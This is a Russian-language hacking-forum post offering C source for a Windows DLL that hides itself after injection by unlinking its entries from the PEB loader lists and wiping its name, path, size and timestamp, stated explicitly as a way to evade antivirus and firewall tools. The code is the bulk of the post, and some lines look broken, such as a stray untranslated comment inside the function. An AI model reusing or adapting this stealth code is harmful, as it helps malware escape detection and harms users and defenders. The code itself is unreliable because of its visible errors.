Усовершенствованный метод сокрытия подгруженной dll в изложении на C для новых ОС семейства Windows

Storage

Banned
Сообщения
24
Оценка реакций
10
Please note, if you want to make a deal with this user, that it is blocked.
Усовершенствованный метод сокрытия подгруженной dll в изложении на C для новых ОС семейства Windows


Usermode Hide dll metod in 'C'

advanced for new family OS Windows

Storage; RET; Sysenter © 2008 - 2020



Я поместил весь код в один файл, что бы не париться и не оформлять потом

в виде отдельной статьи, ибо время - деньги если у нас их нет, мы возьмем их у вас ;) (шутка).

Все что я здесь накодил - только для изучения стойкости систем защиты от

вирусов и других вредных для нас программ и т.д. Как вы будете это применять

мне абсолютно все равно, ибо cogitations poenam nemo patitur.

К написанию данного примера, меня подтолкнула неспособность старых методов

скрывать dll из списка загруженных модулей процесса в новых ОС семейства

Windows, а именно фатальные ошибки, возникающие при попытках изменения

циклических структур LIST_ENTRY.Blink, очевидно связанные с изменением

производителями ядра самих этих структур. Поэтому используемые структуры максимально

урезаны для данного применения. Наша цель - произвести изменения системной

памяти родительского процесса, физически находящейся в его адресном пространстве между

памятью выделенной под стек главного потока и начальным адресом проекции файла

unicode.nls с целью уничтожения следов о загрузке нашей dll в память этого процесса,

которые там оставил загрузчик ядра Windows. Привилегии отладчика нам для этого не нужны. Приступим к делу, пока ребята из Microsoft или чего нибудь не придумали нового.


C:
#pragma once


#define _WIN32_WINNT 0x501


#include <windows.h>


//Укорачиваем машинный код, за счет секций и выкидываем по-возможности msvcrt


//We abbreviate computer code, to account of sections and miscarry msvcrt


//#pragma comment(linker, "/ENTRY:DllMain") //<-можно раскомментировать в последствии


#pragma comment(linker, "/SECTION:.text,EWRX")


#pragma comment(linker, "/MERGE:.rdata=.data")


#pragma comment(linker, "/MERGE:.text=.data")




/*Объявляем структуры (некоторые сильно урезанные для наших целей)


We Declare structures (some powerfully pared for our whole)


Назначение структур хорошо понятно из их названий и содержания*/


typedef struct _UNICODE_STRING


{ USHORT Length;


  USHORT MaximumLength;


  PWSTR Buffer;


} UNICODE_STRING, *PUNICODE_STRING;




typedef struct _PEB_LDR_DATA


{ ULONG Length;


  BOOLEAN Initialized;


  PVOID SsHandle;


  LIST_ENTRY InLoadOrderModuleList;


  LIST_ENTRY InMemoryOrderModuleList;


  //<-pared


} PEB_LDR_DATA, *PPEB_LDR_DATA;




typedef struct _LDR_MODULE


{ LIST_ENTRY InLoadOrderModuleList;


  LIST_ENTRY InMemoryOrderModuleList;


  LIST_ENTRY InInitializationOrderModuleList;


  PVOID BaseAddress;


  PVOID EntryPoint;


  ULONG SizeOfImage;


  UNICODE_STRING FullDllName;


  UNICODE_STRING BaseDllName;


  ULONG Flags;


  SHORT LoadCount;


  SHORT TlsIndex;


  LIST_ENTRY HashTableEntry;


  ULONG TimeDateStamp;


} LDR_MODULE, *PLDR_MODULE;




typedef struct _PEB


{ BOOLEAN InheritedAddressSpace;


  BOOLEAN ReadImageFileExecOptions;


  BOOLEAN BeingDebugged;


  BOOLEAN Spare;


  HANDLE Mutant;


  PVOID ImageBaseAddress;


  PPEB_LDR_DATA LoaderData;


  //<-pared


}PEB,*PPEB;




typedef struct _CLIENT_ID


{ HANDLE  UniqueProcess;


  HANDLE  UniqueThread;


} CLIENT_ID, *PCLIENT_ID;




typedef struct _TEB


{ NT_TIB Tib;


  PVOID EnvironmentPointer;


  CLIENT_ID Cid;


  PVOID ActiveRpcInfo;


  PVOID ThreadLocalStoragePointer;


  PPEB Peb;


  //<-pared


}PTEB;


/*Прототип функции получения указателя на TEB из ntdll


Function of reception of pointer on TEB from ntdll*/


typedef PTEB (NTAPI* GetCurrentNTTeb)(void);




//Сама наша функция


void DllHide(HANDLE hDLL)


{


      PTEB TEB1;


      PEB* PEB1;


      LIST_ENTRY LIST_ENTRY1;


      PEB_LDR_DATA* PEB_LDR_DATA1;


      LDR_MODULE* LDR_MODULE1;


      /*Получаем указатель на PEB, это можно сделать 3-я методами


      Метод 1(самый простой) :


      __asm


      {


       mov  eax, fs:[30h]


       mov  PEB1, eax


      }


      Метод 2:


      __asm {


       mov eax, fs:[18h]


       mov TEB1, eax


      }


      PEB1=TEB1.Peb;*/


      //Метод 3 (стандартными средствами натива=>,более-менее):


      GetCurrentNTTeb NtGetTEB = NULL;


      Или сразу NtGetPEB


      NtGetTEB = (GetCurrentNTTeb)GetProcAddress(GetModuleHandle("ntdll.dll"),


"NtCurrentTeb");


      TEB1=NtGetTEB();




      PEB1=TEB1.Peb;


      //Получаем указатель на структуру, оставленную загрузчиком ядра


      PEB_LDR_DATA1=PEB1->LoaderData;


      /*Получаем указатель на первый список загруженных модулей


      он всегда описывает ntdll.dll*/


      LIST_ENTRY1=PEB_LDR_DATA1->InLoadOrderModuleList;


      /*Перечисляем списки, пока LDR_MODULE1->BaseAddress


      не совпадет с адресом загрузки нашей dll (здесь можно ускорить


      и так быстрый процесс, но это оставлю вам дебилам кто это читает)*/


      do{   LIST_ENTRY1=*LIST_ENTRY1.Flink;


            LDR_MODULE1=(_LDR_MODULE *)LIST_ENTRY1.Flink;


      }while(LDR_MODULE1->BaseAddress!=hDLL);


      /*Подчищаем структуры, связанные с нашей dll


      здесь код немного растянут для понимаемости*/


MessageBox(NULL,"Вхождение найдено, после \n нажатия OK  dll скроется","2008(c)RET",MB_OK);


      LIST_ENTRY* LIST_ENTRY2;


      LIST_ENTRY* LIST_ENTRY3;


      LIST_ENTRY3=LIST_ENTRY1.Flink;


      LIST_ENTRY2=LIST_ENTRY1.Blink;


      *LIST_ENTRY2->Flink=*LIST_ENTRY3;


      /*Дальше, начиная с XP SP2 не работает:


      LIST_ENTRY3=LIST_ENTRY1.Blink;


      LIST_ENTRY2=LIST_ENTRY1.Flink;


      *LIST_ENTRY2->Blink=*LIST_ENTRY3;*/


      //Продолжаем


      LIST_ENTRY1=LDR_MODULE1->InMemoryOrderModuleList;


      LIST_ENTRY3=LIST_ENTRY1.Flink;


      LIST_ENTRY2=LIST_ENTRY1.Blink;


      *LIST_ENTRY2->Flink=*LIST_ENTRY3;


      /*Дальше, начиная с XP SP2 не работает:


      LIST_ENTRY3=LIST_ENTRY1.Blink;


      LIST_ENTRY2=LIST_ENTRY1.Flink;


      *LIST_ENTRY2->Blink=*LIST_ENTRY3;*/


      /*Практически все, нас уже не видно в ProcessExplorer,Task Explorer,


      даже в Microsoft ListDlls, а вот в каком то-там Starter видно!!!


      А все это потому, что мы удалили вхождения, а вот дескриптор оставили*/


      //Затираем дескриптор (для наглядности через ZeroMemory)


      RtlZeroMemory(&LDR_MODULE1->BaseAddress,sizeof(DWORD));


      /*Практически все, нас нет, но мы работаем, и думая о будущем наших


      фаеров и антивирусов все же подчистим за собой мусор, а именно


      удалим от греха всю информацию о нашей dll из контекста*/


      //Чистим путь к нашей dll


      RtlZeroMemory(&LDR_MODULE1->FullDllName,sizeof(UNICODE_STRING));


      //Чистим имя нашей dll


      RtlZeroMemory(&LDR_MODULE1->BaseDllName,sizeof(UNICODE_STRING));


      //Чистим дату создания нашей dll


      RtlZeroMemory(&LDR_MODULE1->TimeDateStamp,sizeof(DWORD));


      //Чистим размер отображения нашей dll


      RtlZeroMemory(&LDR_MODULE1->SizeOfImage,sizeof(DWORD));


      /*Если захотите можете замаскировать свою dll под какую-либо другую,


      заменив в LDR_MODULE вышеперечисленное чем-то своим*/


}




//Только для примера//For examples


DWORD WINAPI BEEPER(LPVOID hDll)


{   


      //пример вызова


      DllHide(hDll);


      while(true){Sleep(1000); Beep(8000,50);}


      return 0;


}




BOOL APIENTRY DllMain( HANDLE hModule,


                       DWORD  ul_reason_for_call,


                       LPVOID lpReserved


                               )


{


    switch (ul_reason_for_call)


      {


            case DLL_PROCESS_ATTACH:


                  /*Для примера таймер с бипером ч/з системный динамик


                  правда отсюда создавать потоки не желательно


                  Поток берется в качестве примера не случайно:


                  Если посмотреть в списке потоков в том же Process Explorer,


то мы увидим, что наш поток принадлежит якобы вовсе не нам а kernel32.dll т.к. указателя на дескриптор нашей dll в системной таблице контекста нет*/


                  CreateThread(NULL,0,BEEPER,(LPVOID)hModule,0,NULL); //For examples


                  break;


            case DLL_THREAD_ATTACH: break;


            case DLL_THREAD_DETACH: break;


            case DLL_PROCESS_DETACH: break;


    }


      if(hModule!=0)    return true;


      else              return false;


}
/*History source:

-Tomasz Nowak (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

);

-Sven B. Schreiber ([email protected]);

-MS-Rem (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.





P.S: подумал и решил в качестве статьи отослать.*/





JID: [email protected]